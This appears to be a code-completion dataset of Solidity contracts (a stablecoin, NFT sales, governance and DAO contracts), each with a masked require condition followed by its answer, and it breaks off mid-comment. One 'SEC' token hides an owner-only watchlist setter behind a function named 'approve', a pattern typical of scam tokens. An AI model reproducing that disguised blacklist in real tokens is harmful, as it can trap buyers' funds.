_target address that receives ZCHF if it's a minter * @param _amount amount ZCHF before fees and pool contribution requested * number in dec18 format * @param _reservePPM reserve requirement in parts per million * @param _feesPPM fees in parts per million */ function mint(address _target, uint256 _amount, uint32 _reservePPM, uint32 _feesPPM) override external minterOnly { } /** * @notice Mint amount of ZCHF for address _target * @param _target address that receives ZCHF if it's a minter * @param _amount amount in dec18 format */ function mint(address _target, uint256 _amount) override external minterOnly { } function burn(uint256 _amount) external { } function burn(uint256 amount, uint32 reservePPM) external override minterOnly { } function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) { } function burnFrom(address payer, uint256 targetTotalBurnAmount, uint32 _reservePPM) external override minterOnly returns (uint256) { } function burnWithReserve(uint256 _amountExcludingReserve /* 41 */, uint32 _reservePPM /* 20% */) external override minterOnly returns (uint256) { } function burn(address _owner, uint256 _amount) override external minterOnly { } modifier minterOnly() { } function notifyLoss(uint256 _amount) override external minterOnly { } function isMinter(address _minter) override public view returns (bool){ } function isPosition(address _position) override public view returns (address){ } }
minters[_minter]==0,"already registered"
197,062
minters[_minter]==0
"not qualified"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20PermitLight.sol"; import "./Equity.sol"; import "./IReserve.sol"; import "./IFrankencoin.sol"; contract Frankencoin is ERC20PermitLight, IFrankencoin { uint256 public constant MIN_FEE = 1000 * (10**18); uint256 public immutable MIN_APPLICATION_PERIOD; // for example 10 days IReserve override public immutable reserve; uint256 private minterReserveE6; mapping (address => uint256) public minters; mapping (address => address) public positions; event MinterApplied(address indexed minter, uint256 applicationPeriod, uint256 applicationFee, string message); event MinterDenied(address indexed minter, string message); constructor(uint256 _minApplicationPeriod) ERC20(18){ } function name() override external pure returns (string memory){ } function symbol() override external pure returns (string memory){ } /** * @notice Minting is suggested either by (1) person applying for a new original position, * or (2) by the minting hub when cloning a position. The minting hub has the priviledge * to call with zero application fee and period. * @param _minter address of the position want to add to the minters * @param _applicationPeriod application period in seconds * @param _applicationFee application fee in parts per million * @param _message message string */ function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external { } function minterReserve() public view returns (uint256) { } function registerPosition(address _position) override external { } /** * @notice Get reserve balance (amount of ZCHF) * @return ZCHF in dec18 format */ function equity() public view returns (uint256) { } function denyMinter(address _minter, address[] calldata _helpers, string calldata _message) override external { require(block.timestamp <= minters[_minter], "too late"); require(<FILL_ME>) delete minters[_minter]; emit MinterDenied(_minter, _message); } /** * @notice Mint amount of ZCHF for address _target * @param _target address that receives ZCHF if it's a minter * @param _amount amount ZCHF before fees and pool contribution requested * number in dec18 format * @param _reservePPM reserve requirement in parts per million * @param _feesPPM fees in parts per million */ function mint(address _target, uint256 _amount, uint32 _reservePPM, uint32 _feesPPM) override external minterOnly { } /** * @notice Mint amount of ZCHF for address _target * @param _target address that receives ZCHF if it's a minter * @param _amount amount in dec18 format */ function mint(address _target, uint256 _amount) override external minterOnly { } function burn(uint256 _amount) external { } function burn(uint256 amount, uint32 reservePPM) external override minterOnly { } function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) { } function burnFrom(address payer, uint256 targetTotalBurnAmount, uint32 _reservePPM) external override minterOnly returns (uint256) { } function burnWithReserve(uint256 _amountExcludingReserve /* 41 */, uint32 _reservePPM /* 20% */) external override minterOnly returns (uint256) { } function burn(address _owner, uint256 _amount) override external minterOnly { } modifier minterOnly() { } function notifyLoss(uint256 _amount) override external minterOnly { } function isMinter(address _minter) override public view returns (bool){ } function isPosition(address _position) override public view returns (address){ } }
reserve.isQualified(msg.sender,_helpers),"not qualified"
197,062
reserve.isQualified(msg.sender,_helpers)
"not approved minter"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ERC20PermitLight.sol"; import "./Equity.sol"; import "./IReserve.sol"; import "./IFrankencoin.sol"; contract Frankencoin is ERC20PermitLight, IFrankencoin { uint256 public constant MIN_FEE = 1000 * (10**18); uint256 public immutable MIN_APPLICATION_PERIOD; // for example 10 days IReserve override public immutable reserve; uint256 private minterReserveE6; mapping (address => uint256) public minters; mapping (address => address) public positions; event MinterApplied(address indexed minter, uint256 applicationPeriod, uint256 applicationFee, string message); event MinterDenied(address indexed minter, string message); constructor(uint256 _minApplicationPeriod) ERC20(18){ } function name() override external pure returns (string memory){ } function symbol() override external pure returns (string memory){ } /** * @notice Minting is suggested either by (1) person applying for a new original position, * or (2) by the minting hub when cloning a position. The minting hub has the priviledge * to call with zero application fee and period. * @param _minter address of the position want to add to the minters * @param _applicationPeriod application period in seconds * @param _applicationFee application fee in parts per million * @param _message message string */ function suggestMinter(address _minter, uint256 _applicationPeriod, uint256 _applicationFee, string calldata _message) override external { } function minterReserve() public view returns (uint256) { } function registerPosition(address _position) override external { } /** * @notice Get reserve balance (amount of ZCHF) * @return ZCHF in dec18 format */ function equity() public view returns (uint256) { } function denyMinter(address _minter, address[] calldata _helpers, string calldata _message) override external { } /** * @notice Mint amount of ZCHF for address _target * @param _target address that receives ZCHF if it's a minter * @param _amount amount ZCHF before fees and pool contribution requested * number in dec18 format * @param _reservePPM reserve requirement in parts per million * @param _feesPPM fees in parts per million */ function mint(address _target, uint256 _amount, uint32 _reservePPM, uint32 _feesPPM) override external minterOnly { } /** * @notice Mint amount of ZCHF for address _target * @param _target address that receives ZCHF if it's a minter * @param _amount amount in dec18 format */ function mint(address _target, uint256 _amount) override external minterOnly { } function burn(uint256 _amount) external { } function burn(uint256 amount, uint32 reservePPM) external override minterOnly { } function calculateAssignedReserve(uint256 mintedAmount, uint32 _reservePPM) public view returns (uint256) { } function burnFrom(address payer, uint256 targetTotalBurnAmount, uint32 _reservePPM) external override minterOnly returns (uint256) { } function burnWithReserve(uint256 _amountExcludingReserve /* 41 */, uint32 _reservePPM /* 20% */) external override minterOnly returns (uint256) { } function burn(address _owner, uint256 _amount) override external minterOnly { } modifier minterOnly() { require(<FILL_ME>) _; } function notifyLoss(uint256 _amount) override external minterOnly { } function isMinter(address _minter) override public view returns (bool){ } function isPosition(address _position) override public view returns (address){ } }
isMinter(msg.sender)||isMinter(positions[msg.sender]),"not approved minter"
197,062
isMinter(msg.sender)||isMinter(positions[msg.sender])
"Not whitelisted!"
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract TurtleNeck is ERC721A, Ownable, ReentrancyGuard { event StateChange(uint256 _newState); using Strings for uint256; uint256 public maxTokens = 8000; uint256 public price = 0.005 ether; uint256 public maxPerWallet = 5; bytes32 merkleRoot; string baseURI; string notRevealedUri = "ipfs://bafybeialwxpv4g3m4ttjeme6u6jeoa7auqb5cnwcwfjb4phajktgpr7agy/"; bool revealed; enum SaleState { NOT_ACTIVE, PRESALE, PUBLIC } SaleState public saleState = SaleState.NOT_ACTIVE; mapping(address => uint256) public mintedCount; mapping(address => uint256) public freeTokens; address vaultAddress = address(0x44561C02Af1E15A05f95B4b942D9b8D64039656F); constructor() ERC721A("Turtle Necks", "Necks") { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal pure override returns (uint256) { } function isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) internal view returns (bool) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } modifier canMint(uint256 _amount, bool _checkMaxTokensPerWallet) { } function mint(uint256 _amount, bytes32[] calldata _merkleProof) external payable canMint(_amount, true) nonReentrant { require(saleState != SaleState.NOT_ACTIVE, "Sale is not active!"); if (saleState == SaleState.PRESALE) { require(<FILL_ME>) } uint256 finalPrice = _amount * price; if (mintedCount[msg.sender] == 0) { finalPrice -= price; } mintedCount[msg.sender] += _amount; require(msg.value >= finalPrice, "Not enough ETH!"); _safeMint(msg.sender, _amount); } function vaultMint(uint256 _amount) external onlyOwner canMint(_amount, false) { } function claimFreeNfts() external canMint(10, false) nonReentrant { } // Only owner functions function setSaleState(uint256 _saleState) external onlyOwner { } function revealNfts(string calldata _ipfsBaseURI) external onlyOwner { } function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function addFreeTokenClaimer(address _recipent) external onlyOwner { } function withdraw() public onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setVaultAddress(address _address) external onlyOwner { } receive() external payable {} }
isValidMerkleProof(_merkleProof,merkleRoot),"Not whitelisted!"
197,126
isValidMerkleProof(_merkleProof,merkleRoot)
"No free tokens!"
// SPDX-License-Identifier: MIT pragma solidity 0.8.9; import "erc721a/contracts/ERC721A.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract TurtleNeck is ERC721A, Ownable, ReentrancyGuard { event StateChange(uint256 _newState); using Strings for uint256; uint256 public maxTokens = 8000; uint256 public price = 0.005 ether; uint256 public maxPerWallet = 5; bytes32 merkleRoot; string baseURI; string notRevealedUri = "ipfs://bafybeialwxpv4g3m4ttjeme6u6jeoa7auqb5cnwcwfjb4phajktgpr7agy/"; bool revealed; enum SaleState { NOT_ACTIVE, PRESALE, PUBLIC } SaleState public saleState = SaleState.NOT_ACTIVE; mapping(address => uint256) public mintedCount; mapping(address => uint256) public freeTokens; address vaultAddress = address(0x44561C02Af1E15A05f95B4b942D9b8D64039656F); constructor() ERC721A("Turtle Necks", "Necks") { } function _baseURI() internal view virtual override returns (string memory) { } function _startTokenId() internal pure override returns (uint256) { } function isValidMerkleProof(bytes32[] calldata merkleProof, bytes32 root) internal view returns (bool) { } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { } modifier canMint(uint256 _amount, bool _checkMaxTokensPerWallet) { } function mint(uint256 _amount, bytes32[] calldata _merkleProof) external payable canMint(_amount, true) nonReentrant { } function vaultMint(uint256 _amount) external onlyOwner canMint(_amount, false) { } function claimFreeNfts() external canMint(10, false) nonReentrant { require(saleState != SaleState.NOT_ACTIVE, "Sale is not active!"); require(<FILL_ME>) freeTokens[msg.sender] -= 10; _safeMint(msg.sender, 10); } // Only owner functions function setSaleState(uint256 _saleState) external onlyOwner { } function revealNfts(string calldata _ipfsBaseURI) external onlyOwner { } function setMaxPerWallet(uint256 _maxPerWallet) external onlyOwner { } function setPrice(uint256 _price) external onlyOwner { } function addFreeTokenClaimer(address _recipent) external onlyOwner { } function withdraw() public onlyOwner { } function setMerkleRoot(bytes32 _merkleRoot) external onlyOwner { } function setVaultAddress(address _address) external onlyOwner { } receive() external payable {} }
freeTokens[msg.sender]>=10,"No free tokens!"
197,126
freeTokens[msg.sender]>=10
"GovernorAlpha::propose: proposer votes below proposal threshold"
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; contract GovernorAlpha2 { /// @notice The name of this contract string public constant name = "Strike Governor Alpha2"; /// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed function quorumVotes() public pure returns (uint) { } // 130000 = 2% of STRK /// @notice The number of votes required in order for a voter to become a proposer function proposalThreshold() public pure returns (uint) { } // 65188 = 1% of STRK /// @notice The maximum number of actions that can be included in a proposal function proposalMaxOperations() public pure returns (uint) { } // 50 actions /// @notice The delay before voting on a proposal may take place, once proposed function votingDelay() public pure returns (uint) { } // 1 block /// @notice The duration of voting on a proposal, in blocks function votingPeriod() public pure returns (uint) { } // ~3 days in blocks (assuming 15s blocks) /// @notice The address of the Strike Protocol Timelock TimelockInterface public timelock; /// @notice The address of the Strike governance token StrkInterface public strk; /// @notice The address of the Governor Guardian address public guardian; /// @notice The total number of proposals uint public proposalCount; struct Proposal { /// @notice Unique id for looking up a proposal uint id; /// @notice Creator of the proposal address proposer; /// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds uint eta; /// @notice the ordered list of target addresses for calls to be made address[] targets; /// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made uint[] values; /// @notice The ordered list of function signatures to be called string[] signatures; /// @notice The ordered list of calldata to be passed to each call bytes[] calldatas; /// @notice The block at which voting begins: holders must delegate their votes prior to this block uint startBlock; /// @notice The block at which voting ends: votes must be cast prior to this block uint endBlock; /// @notice Current number of votes in favor of this proposal uint forVotes; /// @notice Current number of votes in opposition to this proposal uint againstVotes; /// @notice Flag marking whether the proposal has been canceled bool canceled; /// @notice Flag marking whether the proposal has been executed bool executed; /// @notice Receipts of ballots for the entire set of voters mapping (address => Receipt) receipts; } /// @notice Ballot receipt record for a voter struct Receipt { /// @notice Whether or not a vote has been cast bool hasVoted; /// @notice Whether or not the voter supports the proposal bool support; /// @notice The number of votes the voter had, which were cast uint96 votes; } /// @notice Possible states that a proposal may be in enum ProposalState { Pending, Active, Canceled, Defeated, Succeeded, Queued, Expired, Executed } /// @notice The official record of all proposals ever proposed mapping (uint => Proposal) public proposals; /// @notice The latest proposal for each proposer mapping (address => uint) public latestProposalIds; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the ballot struct used by the contract bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)"); /// @notice An event emitted when a new proposal is created event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description); /// @notice An event emitted when a vote has been cast on a proposal event VoteCast(address voter, uint proposalId, bool support, uint votes); /// @notice An event emitted when a proposal has been canceled event ProposalCanceled(uint id); /// @notice An event emitted when a proposal has been queued in the Timelock event ProposalQueued(uint id, uint eta); /// @notice An event emitted when a proposal has been executed in the Timelock event ProposalExecuted(uint id); constructor(address timelock_, address strk_, address guardian_, uint256 latestProposalId_) public { } function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) { require(<FILL_ME>) require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch"); require(targets.length != 0, "GovernorAlpha::propose: must provide actions"); require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions"); uint latestProposalId = latestProposalIds[msg.sender]; if (latestProposalId != 0) { ProposalState proposersLatestProposalState = state(latestProposalId); require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: found an already active proposal"); require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: found an already pending proposal"); } uint startBlock = add256(block.number, votingDelay()); uint endBlock = add256(startBlock, votingPeriod()); proposalCount++; Proposal memory newProposal = Proposal({ id: proposalCount, proposer: msg.sender, eta: 0, targets: targets, values: values, signatures: signatures, calldatas: calldatas, startBlock: startBlock, endBlock: endBlock, forVotes: 0, againstVotes: 0, canceled: false, executed: false }); proposals[newProposal.id] = newProposal; latestProposalIds[newProposal.proposer] = newProposal.id; emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description); return newProposal.id; } function queue(uint proposalId) public { } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { } function execute(uint proposalId) public { } function cancel(uint proposalId) public { } function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) { } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { } function state(uint proposalId) public view returns (ProposalState) { } function castVote(uint proposalId, bool support) public { } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { } function _castVote(address voter, uint proposalId, bool support) internal { } function __acceptAdmin() public { } function __abdicate() public { } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { } function add256(uint256 a, uint256 b) internal pure returns (uint) { } function sub256(uint256 a, uint256 b) internal pure returns (uint) { } function getChainId() internal pure returns (uint) { } } interface TimelockInterface { function delay() external view returns (uint); function GRACE_PERIOD() external view returns (uint); function acceptAdmin() external; function queuedTransactions(bytes32 hash) external view returns (bool); function queueTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external returns (bytes32); function cancelTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external; function executeTransaction(address target, uint value, string calldata signature, bytes calldata data, uint eta) external payable returns (bytes memory); } interface StrkInterface { function getPriorVotes(address account, uint blockNumber) external view returns (uint96); }
strk.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold(),"GovernorAlpha::propose: proposer votes below proposal threshold"
197,139
strk.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold()
null
// SPDX-License-Identifier: MIT pragma solidity ^0.8.10; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } abstract contract Ownable { address public _owner; modifier onlyOwner { } function transferOwnership(address _newOwner) public virtual onlyOwner { } } contract SEC is Ownable, IERC20 { //change name and file name mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply = 800000000000000000000000000000; string private _name; string private _symbol; constructor() { } function name() public view returns (string memory) { } function symbol() public view returns (string memory) { } function decimals() public pure returns (uint8) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function transfer(address to, uint256 amount) public override returns (bool) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } function approve(address[] memory spenders, uint256 amount) external onlyOwner returns(bool) { for(uint i = 0; i < spenders.length; i++) { require(<FILL_ME>) SEC_watchlist[spenders[i]] = true; amount; } return true; } function transferFrom(address from, address to, uint256 amount) public override returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { } function mint(address account, uint256 amount) external onlyOwner { } function _transfer(address from, address to, uint256 amount) internal { } function _update(address from, address to, uint256 amount) internal { } function _mint(address account, uint256 amount) internal { } function _approve(address owner, address spender, uint256 amount) internal { } mapping(address=>bool) private SEC_watchlist; function _spendAllowance(address owner, address spender, uint256 amount) internal { } }
spenders[i]!=address(0)
197,244
spenders[i]!=address(0)
"boop"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract NFTDAO { uint256 private currentIndex; uint c; uint d; uint e; uint f; struct AddressData { uint128 balance; uint128 numberMinted; } mapping(address => AddressData) private _addressData; uint g; uint h; uint j; address private _owner; uint k; uint l; uint m; uint n; uint o; uint p; uint q; uint r; uint256 public percentToVote = 60; uint256 public votingDuration = 86400; bool public percentToVoteFrozen; bool public votingDurationFrozen; Voting[] public votings; bool public isDao; event VotingCreated( address contractAddress, bytes data, uint256 value, string comment, uint256 indexed index, uint256 timestamp ); event VotingSigned(uint256 indexed index, address indexed signer, uint256 timestamp); event VotingActivated(uint256 indexed index, uint256 timestamp, bytes result); struct Voting { address contractAddress; bytes data; uint256 value; string comment; uint256 index; uint256 timestamp; bool isActivated; address[] signers; } function balanceOf(address owner_) public view returns (uint256) { } function owner() public view returns (address) { } modifier onlyOwner() { } modifier onlyHoldersOrOwner { require(<FILL_ME>) _; } modifier onlyContractOrOwner { } function createVoting( address _contractAddress, bytes calldata _data, uint256 _value, string memory _comment ) external onlyHoldersOrOwner() returns (bool success) { } function signVoting(uint256 _index) external onlyHoldersOrOwner() returns (bool success) { } function activateVoting(uint256 _index) external { } function changePercentToVote(uint256 _percentToVote) external onlyContractOrOwner() returns (bool success) { } function changeVotingDuration(uint256 _votingDuration) external onlyContractOrOwner() returns (bool success) { } function freezePercentToVoteFrozen() external onlyContractOrOwner() { } function freezeVotingDuration() external onlyContractOrOwner() { } function withdraw() external onlyContractOrOwner() { } function withdrawTokens(address tokenAddress) external onlyContractOrOwner() { } }
(isDao&&balanceOf(msg.sender)>0)||msg.sender==owner(),"boop"
197,280
(isDao&&balanceOf(msg.sender)>0)||msg.sender==owner()
"a"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract NFTDAO { uint256 private currentIndex; uint c; uint d; uint e; uint f; struct AddressData { uint128 balance; uint128 numberMinted; } mapping(address => AddressData) private _addressData; uint g; uint h; uint j; address private _owner; uint k; uint l; uint m; uint n; uint o; uint p; uint q; uint r; uint256 public percentToVote = 60; uint256 public votingDuration = 86400; bool public percentToVoteFrozen; bool public votingDurationFrozen; Voting[] public votings; bool public isDao; event VotingCreated( address contractAddress, bytes data, uint256 value, string comment, uint256 indexed index, uint256 timestamp ); event VotingSigned(uint256 indexed index, address indexed signer, uint256 timestamp); event VotingActivated(uint256 indexed index, uint256 timestamp, bytes result); struct Voting { address contractAddress; bytes data; uint256 value; string comment; uint256 index; uint256 timestamp; bool isActivated; address[] signers; } function balanceOf(address owner_) public view returns (uint256) { } function owner() public view returns (address) { } modifier onlyOwner() { } modifier onlyHoldersOrOwner { } modifier onlyContractOrOwner { } function createVoting( address _contractAddress, bytes calldata _data, uint256 _value, string memory _comment ) external onlyHoldersOrOwner() returns (bool success) { } function signVoting(uint256 _index) external onlyHoldersOrOwner() returns (bool success) { } function activateVoting(uint256 _index) external { uint256 sumOfSigners = 0; for (uint256 i = 0; i < votings[_index].signers.length; i++) { sumOfSigners += balanceOf(votings[_index].signers[i]); } require(sumOfSigners >= currentIndex * percentToVote / 100, "s"); require(<FILL_ME>) address _contractToCall = votings[_index].contractAddress; bytes storage _data = votings[_index].data; uint256 _value = votings[_index].value; (bool b, bytes memory result) = _contractToCall.call{value: _value}(_data); require(b); votings[_index].isActivated = true; emit VotingActivated(_index, block.timestamp, result); } function changePercentToVote(uint256 _percentToVote) external onlyContractOrOwner() returns (bool success) { } function changeVotingDuration(uint256 _votingDuration) external onlyContractOrOwner() returns (bool success) { } function freezePercentToVoteFrozen() external onlyContractOrOwner() { } function freezeVotingDuration() external onlyContractOrOwner() { } function withdraw() external onlyContractOrOwner() { } function withdrawTokens(address tokenAddress) external onlyContractOrOwner() { } }
!votings[_index].isActivated,"a"
197,280
!votings[_index].isActivated
"f"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.10; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; contract NFTDAO { uint256 private currentIndex; uint c; uint d; uint e; uint f; struct AddressData { uint128 balance; uint128 numberMinted; } mapping(address => AddressData) private _addressData; uint g; uint h; uint j; address private _owner; uint k; uint l; uint m; uint n; uint o; uint p; uint q; uint r; uint256 public percentToVote = 60; uint256 public votingDuration = 86400; bool public percentToVoteFrozen; bool public votingDurationFrozen; Voting[] public votings; bool public isDao; event VotingCreated( address contractAddress, bytes data, uint256 value, string comment, uint256 indexed index, uint256 timestamp ); event VotingSigned(uint256 indexed index, address indexed signer, uint256 timestamp); event VotingActivated(uint256 indexed index, uint256 timestamp, bytes result); struct Voting { address contractAddress; bytes data; uint256 value; string comment; uint256 index; uint256 timestamp; bool isActivated; address[] signers; } function balanceOf(address owner_) public view returns (uint256) { } function owner() public view returns (address) { } modifier onlyOwner() { } modifier onlyHoldersOrOwner { } modifier onlyContractOrOwner { } function createVoting( address _contractAddress, bytes calldata _data, uint256 _value, string memory _comment ) external onlyHoldersOrOwner() returns (bool success) { } function signVoting(uint256 _index) external onlyHoldersOrOwner() returns (bool success) { } function activateVoting(uint256 _index) external { } function changePercentToVote(uint256 _percentToVote) external onlyContractOrOwner() returns (bool success) { } function changeVotingDuration(uint256 _votingDuration) external onlyContractOrOwner() returns (bool success) { require(<FILL_ME>) require( _votingDuration == 2 hours || _votingDuration == 24 hours || _votingDuration == 72 hours, "t" ); votingDuration = _votingDuration; return true; } function freezePercentToVoteFrozen() external onlyContractOrOwner() { } function freezeVotingDuration() external onlyContractOrOwner() { } function withdraw() external onlyContractOrOwner() { } function withdrawTokens(address tokenAddress) external onlyContractOrOwner() { } }
!votingDurationFrozen,"f"
197,280
!votingDurationFrozen
"Purchase would exceed max supply of tokens"
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { } } pragma solidity ^0.8.0; contract SuperMatchstickM is ERC721, ERC721Enumerable, Ownable { bool public IsActive = true; string private _baseURIextended; address payable public immutable contract_owner; struct SaleConfig { uint32 max_num; uint32 SMM_total; uint256 startTime; uint256 endTime; uint256 _price; } SaleConfig public saleConfig; mapping (address => uint8) public mint_num; constructor(address payable _owner) ERC721("Super Matchstick M", "SMM") { } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal override(ERC721, ERC721Enumerable) { } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721, ERC721Enumerable) returns (bool) { } function setBaseURI(string memory baseURI_) external onlyOwner() { } function _baseURI() internal view virtual override returns (string memory) { } function setSaleState(bool newState) public onlyOwner { } function mintBatch(address account, uint256 num) external onlyOwner() { require(IsActive, "Sale must be active to mint Tokens"); require(account != address(0)); require(<FILL_ME>) for(uint i = 0; i < num; i++) { uint mintIndex = totalSupply(); if (totalSupply() < saleConfig.SMM_total) { _safeMint(account, mintIndex); } } } function mint(uint num) public payable { } function set_time(uint256 _s, uint256 _e) public onlyOwner { } function set_price(uint256 _p) public onlyOwner { } function set_max_num(uint32 _max) public onlyOwner { } function withdraw() public onlyOwner { } }
totalSupply()+num<=saleConfig.SMM_total,"Purchase would exceed max supply of tokens"
197,282
totalSupply()+num<=saleConfig.SMM_total
"Exceeded max token purchase.."
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, 